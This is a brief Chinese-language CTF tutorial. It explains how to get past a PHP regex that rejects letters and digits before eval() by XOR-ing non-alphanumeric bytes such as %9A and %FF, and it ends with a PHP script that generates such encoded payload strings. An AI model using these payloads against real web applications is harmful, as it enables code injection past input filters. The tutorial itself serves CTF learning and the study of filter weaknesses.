异或绕过基础

在一些ctf或是实战里

我们有时候能看到类似

if(preg_match('/[A-Za-z0-9]+/', $code)) { die('NO.'); } @eval($code);

这样的绕过 这种正则只要命中一个字母或者数字就会退出

但php有一个特性 php字符串的两个字符按位异或后可以直接得到新字符

所以可以利用这种方式来绕过这种限制

二进制异或：

一句话 相同为0，不同为1.

我们大部分用%ff进行异或，例如

目标字母 e 的 ASCII 是 0x65。0x65 ^ 0xFF = 0x9A。所以%9A ^ %FF => e(这里%9A实际上就是0x9A

最后附上一个异或脚本

<?php $l=''; $r=''; $argv= str_split("e");//更改里面的值，改为需要的字符 for($i=0;$i<count($argv);$i++) { for($j=0;$j<255;$j++) { $k=chr($j)^chr(255); if($k==$argv[$i]) { if($j<16) { $l.="%ff"; $r.="%0".dechex($j); continue; } $l.="%ff"; $r.="%".dechex($j); } } } echo "\{$l^$r\}";